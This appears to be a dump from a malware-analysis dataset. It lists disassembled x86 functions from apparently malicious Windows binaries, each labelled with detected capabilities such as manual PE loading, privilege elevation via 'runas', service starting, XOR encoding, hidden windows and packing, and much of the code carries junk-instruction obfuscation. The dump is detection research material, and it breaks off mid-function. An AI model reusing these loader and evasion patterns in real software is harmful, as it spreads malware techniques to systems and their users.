joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401150
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x401211
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x4011bb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x4011ef
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4011ef
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40117e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401220
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x4012d4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401277
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4012ba
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x408030]
je 0x40128e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4012a7
test al, 0x40
je 0x40129e
mov ecx, dword [ebx + 0x20]
jmp 0x4012a5
test al, 0x80
je 0x4012ba
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4012ba
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x401244
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401660
Capabilities:
Check os version
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x932
push 0x30000
push 0x408050
call fcn.004015c0
push 0x408050
call fcn.00401000
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4016a5
mov eax, dword [esp + 0x10]
push eax
push ebx
call fcn.00401470
add esp, 8
test eax, eax
jne 0x4016a9
push ebx
call fcn.00401530
add esp, 4
pop edi
pop esi
pop ebx
ret
sub esp, 0x7d8
mov ecx, 0x1f6
mov esi, str.tb600Li10LS90LW3pg
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.00401530
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4016d0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4016f6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret

Function at 0x401710
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 8]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, ebx
mov dword [esp + 4], eax
je 0x40177e
mov eax, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40176f
mov dword [esp + 4], ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 4]
pop ebx
add esp, 0x10
ret

Function at 0x401790
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x140
call fcn.00401710
test eax, eax
jne 0x401817
call fcn.004016d0
test al, al
je 0x401817
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 8]
mov dword [esp + 4], 0x3c
rep stosd dword es:[edi], eax
lea edx, [esp + 4]
lea ecx, [esp + 0x40]
push edx
mov dword [esp + 0x14], str.runas
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop edi
test eax, eax
push 0
je 0x401811
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.StartAsFrameProcess
call fcn.00401660
add esp, 4
xor eax, eax
add esp, 0x140
ret 0x10
Function at 0x422b80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
or ebp, 0xffffffff
jmp 0x422ba2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x422ba9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x422b98
mov eax, 1
add ebx, ebx
jne 0x422bbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x422bb0
jne 0x422bcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422bb0
xor ecx, ecx
sub eax, 3
jb 0x422be0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x422c52
mov ebp, eax
add ebx, ebx
jne 0x422beb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x422bf8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x422c1c
inc ecx
add ebx, ebx
jne 0x422c08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x422bfd
jne 0x422c19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422bfd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x422c3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x422c2d
jmp 0x422b9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x422c3c
add edi, ecx
jmp 0x422b9e
pop esi
mov edi, esi
mov ecx, 0x469
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x422c5a
cmp byte [edi], 0
jne 0x422c5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x422c5f
lea edi, [esi + 0x20000]
mov eax, dword [edi]
or eax, eax
je 0x422cce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x224ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x22578]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x422c8c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2257c]
or eax, eax
je 0x422cc8
mov dword [ebx], eax
add ebx, 4
jmp 0x422ca9
call dword [esi + 0x22580]
popal
jmp 0x4086d8
Function at 0x1000b788
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10020058]
jne 0x1000b792
repz ret
jmp fcn.1000ce32

Function at 0x100137d5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.1000dd0c
xor ebx, ebx
cmp dword [0x10027554], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x100138aa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x10013815
xor eax, eax
jmp 0x1001396e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001380e
push eax
call fcn.1000dca9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10027554], eax
call esi
push eax
call fcn.1000dca9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10027558], eax
call esi
push eax
call fcn.1000dca9
mov dword [0x1002755c], eax
lea eax, [ebp - 8]
push eax
call fcn.1000f36f
test eax, eax
pop ecx
pop ecx
je 0x10013878
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000d175
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x100138aa
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1000dca9
cmp eax, ebx
pop ecx
mov dword [0x10027564], eax
je 0x100138aa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000dca9
pop ecx
mov dword [0x10027560], eax
mov eax, dword [0x10027560]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x10013923
cmp dword [0x10027564], esi
je 0x10013923
push eax
call fcn.1000dd15
pop ecx
call eax
cmp eax, ebx
je 0x100138f0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10027564]
call fcn.1000dd15
pop ecx
call eax
test eax, eax
je 0x100138f0
test byte [ebp - 0x18], 1
jne 0x10013923
lea eax, [ebp - 0xc]
push eax
call fcn.1000f3a6
test eax, eax
pop ecx
je 0x1001390b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000d175
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1001391a
or dword [ebp + 0x10], 0x200000
jmp 0x10013954
or dword [ebp + 0x10], 0x40000
jmp 0x10013954
mov eax, dword [0x10027558]
cmp eax, esi
je 0x10013954
push eax
call fcn.1000dd15
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10013954
mov eax, dword [0x1002755c]
cmp eax, esi
je 0x10013954
push dword [ebp - 4]
push eax
call fcn.1000dd15
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10027554]
call fcn.1000dd15
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401506
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4020f0
push 0x401640
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403138], 0xffffffff
or dword [0x40313c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403134]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403130]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403140], eax
call fcn.0040163d
cmp dword [0x403010], 0
jne 0x401589
push 0x40163a
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00401628
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x40312c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403128]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004012b0
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x401000
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push edx
push edi
or edx, edx
mov dl, ch
cmp edx, ecx
and edx, eax
pop edi
pop edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40102e
pop edi
pop esi
pop ebp
ret
push edx
add edx, 0x2915
sub dl, ah
pop edx
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40106e
mov edi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call edi
cmp eax, 0x420
je 0x40106e
call edi
cmp eax, 0x422
je 0x40106e
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x401080
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401430
test eax, eax
jne 0x4010b5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
cmp eax, 0xffffffff
je 0x4010c2
mov dword [ebp + 8], eax
jmp 0x401106
call fcn.00401390
test eax, eax
je 0x4010f1
push eax
push dx
and al, bh
xor dl, al
or dh, dh
xor ah, 0x62
sub eax, 0x3488
and eax, 0x7ee5
dec dh
add eax, eax
pop dx
pop eax
mov dword [ebp + 8], 0xc
jmp 0x401106
jbe 0x4010ff
mov di, di
xchg edi, edi
ja 0x4010ff
and eax, 0xe2f4cc58
mov dword [ebp + 8], 0xd
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
lea eax, [ebp - 8]
push 0
push eax
push 0
push pe_nt_image_headers32
push 1
push 0x40626c
call dword [0x41c96c]
test eax, eax
je 0x401135
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x18]
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push ecx
call dword [0x41c974]
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
mov edx, dword [ebp + 8]
push edx
push eax
lea eax, [ebp - 0x208]
push 0x40627c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jp 0x40119b
push ecx
mov ecx, 0x54689436
pop ecx
jnp 0x40119b
sub dword [edx], 0x6a
add byte [edx], ch
push 0
push 0
push 0
push 0
push 0x41c980
call dword [0x41c970]
mov esi, eax
test esi, esi
jne 0x4011bb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
lea ecx, [ebp - 4]
push 4
push ecx
push 2
push esi
mov dword [ebp - 4], 0xbb8
call dword [0x41c968]
push edi
or edi, 0x693
or di, 0xd76
or edi, 0x291a
sub di, bx
test di, 0x481d
xor di, 0x7174
and di, di
pop edi
push 0
push 0x84000000
push 0
lea edx, [ebp - 0x208]
push 0
push edx
push esi
call dword [0x41c964]
test eax, eax
jne 0x40124a
push esi
call dword [0x41c978]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
add edx, 0x2915
sub dl, ah
pop edx
push eax
call dword [0x41c978]
push esi
call dword [0x41c978]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], 1
pushal
and bl, ah
inc dl
sub ch, ah
test ax, 0x1e59
popal
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4012b2
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test si, 0x3660
add si, 0x20c2
test edi, eax
popal
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 4]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4012e4
xor esi, esi
jmp 0x4012e7
mov esi, dword [ebp - 8]
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401430
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x41c97c]
push ebx
push esi
push edi
test eax, eax
je 0x401445
mov eax, 1
pop edi
pop esi
pop ebx
ret
jle 0x401453
mov si, si
mov si, si
jg 0x401453
fsub qword [ebp + 0x358b92c9]
pop esp
push eax
inc eax
add byte [eax - 0x80], ch
popal
inc eax
add bh, bh
salc
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x406180
call esi
test eax, eax
jne 0x401468
pop edi
pop esi
pop ebx
ret
je 0x40147c
jne 0x40147c
inc ebx
jbe 0x4014c1
aaa
sub dword [eax + 0x2a], ebx
inc esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40618c
push eax
call edi
test eax, eax
mov dword [0x41c96c], eax
jne 0x401497
pop edi
pop esi
pop ebx
ret
jo 0x4014a5
push ecx
mov ecx, 0x9bcdcc09
pop ecx
jno 0x4014a5
inc eax
movsd dword es:[edi], dword [esi]
mov edx, 0x40619868
add bh, bh
salc
push 0x406198
call esi
test eax, eax
jne 0x4014b4
pop edi
pop esi
pop ebx
ret
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
add byte [eax], al
mov bx, 0x26ca
xor bl, al
pop ebx
push 0x4061a4
push eax
call edi
test eax, eax
mov dword [0x41c974], eax
jne 0x4014df
pop edi
pop esi
pop ebx
ret
je 0x4014e8
mov ch, ch
xchg esi, esi
jne 0x4014e8
inc esp
push 0x4061b0
call esi
mov esi, eax
test esi, esi
jne 0x4014f9
pop edi
pop esi
pop ebx
ret
jl 0x401504
push ebx
mov bh, 0x4c
pop ebx
jge 0x401504
xchg edx, eax
cmp eax, 0x4061bc68
add byte [esi - 1], dl
xlatb
push 0x4061bc
push esi
call edi
test eax, eax
mov dword [0x41c970], eax
jne 0x401519
pop edi
pop esi
pop ebx
ret
jbe 0x40152a
xchg ecx, ecx
xchg dl, dl
ja 0x40152a
pop eax
push 0x4061cc
push esi
call edi
test eax, eax
mov dword [0x41c964], eax
jne 0x40153f
pop edi
pop esi
pop ebx
ret
jo 0x401557
push esi
mov esi, 0x387ef7e0
pop esi
jno 0x401557
invalid
push 0x4061e0
push esi
call edi
test eax, eax
mov dword [0x41c968], eax
jne 0x40156c
pop edi
pop esi
pop ebx
ret
jl 0x401581
push cx
mov ch, 0xcc
pop cx
jge 0x401581
xchg esi, eax
xor esp, dword [ebx + 0x68]
hlt
push 0x4061f4
push esi
call edi
test eax, eax
mov dword [0x41c978], eax
jne 0x401596
pop edi
pop esi
pop ebx
ret
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
mov bx, 0x26ca
xor bl, al
pop ebx
mov eax, 1
pop edi
pop esi
mov dword [0x41c97c], eax
pop ebx
ret

Function at 0x401740
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
xor edi, edi
test eax, eax
jbe 0x4017ad
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
mov eax, dword [ebp + 0x10]
mov bl, byte [edi + eax]
push ax
push ecx
push esi
dec al
pop esi
pop ecx
pop ax
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor bl, byte [edx + ecx]
mov byte [ebp - 1], bl
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
mov eax, dword [ebp + 0x10]
mov dl, byte [ebp - 1]
mov byte [edi + eax], dl
mov eax, dword [ebp + 0x14]
inc edi
cmp edi, eax
jb 0x401750
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401860
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x41c980
push 0x406010
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, eax
test ecx, ecx
jne 0x40189a
pop ebp
ret
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret

Function at 0x4018c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x406028
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
jl 0x401952
push ebx
mov bh, 0x4c
pop ebx
jge 0x401952
xchg edx, eax
cmp eax, 0x8df84d8d
push ebp
cld
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00403d00
jl 0x40197a
push edi
mov edi, 0x513b465
pop edi
jge 0x40197a
sbb dl, bl
pop ss
push es
mov dl, 0xf4
dec esi
or edi, ebp
stosb byte es:[edi], al
sub dl, dl
aad 0x79
jb 0x40197f
mov eax, dword [ebp - 4]
push eax
call fcn.00401a00
jge 0x401981
add byte [eax], al
jp 0x40199a
push si
pop si
jnp 0x40199a
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x40198c
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx - 0x75], eax
dec ebp
clc
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x406048
push eax
call fcn.00402580
add esp, 0x2c
test eax, eax
jne 0x4019bf
pop edi
mov esp, ebp
pop ebp
ret
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
lea ecx, [ebp - 0x10c]
push ecx
call fcn.004039b0
add esp, 4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401a00
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
mov esi, dword [ebp + 8]
cmp word [esi], 0x5a4d
je 0x401a25
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jbe 0x401a3f
xchg bh, bh
xchg edi, edi
ja 0x401a3f
cmp eax, eax
xchg esp, eax
movsd dword es:[edi], dword [esi]
mov bh, 0xdf
mov ebp, 0x8be181d0
push esi
cmp al, 3
salc
mov edx, dword [esi + 0x3c]
add edx, esi
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
cmp dword [edx], 0x4550
je 0x401a60
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
mov eax, dword [edx + 0x58]
test eax, eax
je 0x401a79
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, pe_nt_image_headers32
jbe 0x401a8e
mov dx, dx
mov esi, esi
ja 0x401a8e
sub ch, byte [ebx]
cmp byte [edx - 0xb], dl
sub dword [edi + 0x7e], esp
or ah, byte [esi + 0x56]
jle 0x401a9a
push si
mov si, 0xf280
pop si
jg 0x401a9a
cmp dword [esi + 0x3c], 0x80
ja 0x401aac
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x401ad0
push eax
mov ax, 0xea42
pop eax
jnp 0x401ad0
pop eax
mov edx, 0xb7bc9ea5
jb 0x401af1
jp 0x401a57
test cl, 0x87
xor esp, esi
cwde
push edx
mov esi, dword [esi + 0x3c]
cmp esi, 0xc0
jae 0x401ade
lea edi, [esi - 0x80]
js 0x401aec
jns 0x401aec
add eax, 0x27a4e857
add byte [eax], al
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add byte [ebx + 0x4c483d0], cl
mov edx, eax
add esp, 4
test edx, edx
mov dword [ebp - 4], edx
jne 0x401b05
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
cmp cl, 0x3f
or ch, dl
cmp cx, cx
or ch, 0x1f
pop ecx
xor esi, esi
test edi, edi
jbe 0x401b53
push ebx
push ax
xor al, bl
add ah, 0x25
cmp ax, dx
sub ax, dx
or ebx, 0x62f5
cmp ebx, edi
or ax, bx
test bl, 1
pop ax
pop ebx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
inc esi
cmp esi, edi
mov byte [esi + eax - 1], dl
jb 0x401b18
mov edx, eax
je 0x401b64
push cx
mov cl, 0x54
pop cx
jne 0x401b64
push ss
pop edi
push 0x47
test eax, 0x458b18c5
or byte [ebx - 0x720d7431], cl
mov eax, 0x80
mov eax, dword [ebp + 8]
mov ecx, edi
mov esi, edx
lea edi, [eax + 0x80]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
